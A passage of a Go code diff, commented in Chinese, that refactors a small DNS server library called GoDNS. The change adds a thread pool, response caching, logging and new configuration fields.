pool) + + cacher := NewCacher(CacherConfig{ + CacheLocation: serverConf.CacheLocation, + LogWriter: serverConf.LogWriter, + }, pool) + + return &GoDNSServer{ + SeverConfig: serverConf, + GoDNSLogger: godnsLogger, + + ThreadPool: pool, + + Netter: *netter, + Cacher: *cacher, + Responer: responser, + } +} + +func (s *GoDNSServer) HandleConnection(connInfo ConnectionInfo) { + // 从缓存中查找响应 + if s.SeverConfig.EnebleCache { + cache, err := s.Cacher.FetchCache(connInfo) + if err == nil { + s.Netter.Send(connInfo, cache) + return } - s.Netter.Send(connInfo, resp.Encode()) } - for { - time.Sleep(1 * time.Second) + resp, err := s.Responer.Response(connInfo) + if err != nil { + s.GoDNSLogger.Printf("Error generating response: %v", err) + return } -} -// GoStart为示例函数,其将会一键式创建一个基础 GoDNS 并启动它。 -// 这个 GoDNS 将有一个DullResponser,它将对DNS请求做出简单的回复... -// 参数: -// - DNSServerConfig: DNS 服务器配置 -// - Responser: DNS 回复生成器 -func GoStart(serverConf DNSServerConfig) { - // 创建一个 DNS 服务器 - server := &GoDNSServer{ - ServerConfig: serverConf, - Netter: Netter{ - Config: NetterConfig{ - Port: serverConf.Port, - MTU: serverConf.MTU, - }, - }, - Responer: &DullResponser{ - ServerConf: serverConf, - }, + s.Netter.Send(connInfo, resp) + if s.SeverConfig.EnebleCache { + s.Cacher.CacheResponse(resp) } +} + +// Start 启动 GoDNS 服务器 +func (s *GoDNSServer) Start() { + // GoDNS 启动! + s.GoDNSLogger.Printf("GoDNS Starts!") - // 启动 DNS 服务器 - server.Start() + connChan := s.Netter.Sniff() + for connInfo := range connChan { + s.ThreadPool.Submit(func() { s.HandleConnection(connInfo) }) + } } // DNSServerConfig 记录 DNS 服务器的相关配置 @@ -73,6 +99,14 @@ type DNSServerConfig struct { IP net.IP // DNS 服务器的端口 Port int - // 网络设备的最大传输单元 - MTU int + + // 日志输出 + LogWriter io.Writer + + // 线程池容量 + PoolCapcity int + + // 缓存功能 + EnebleCache bool + CacheLocation string }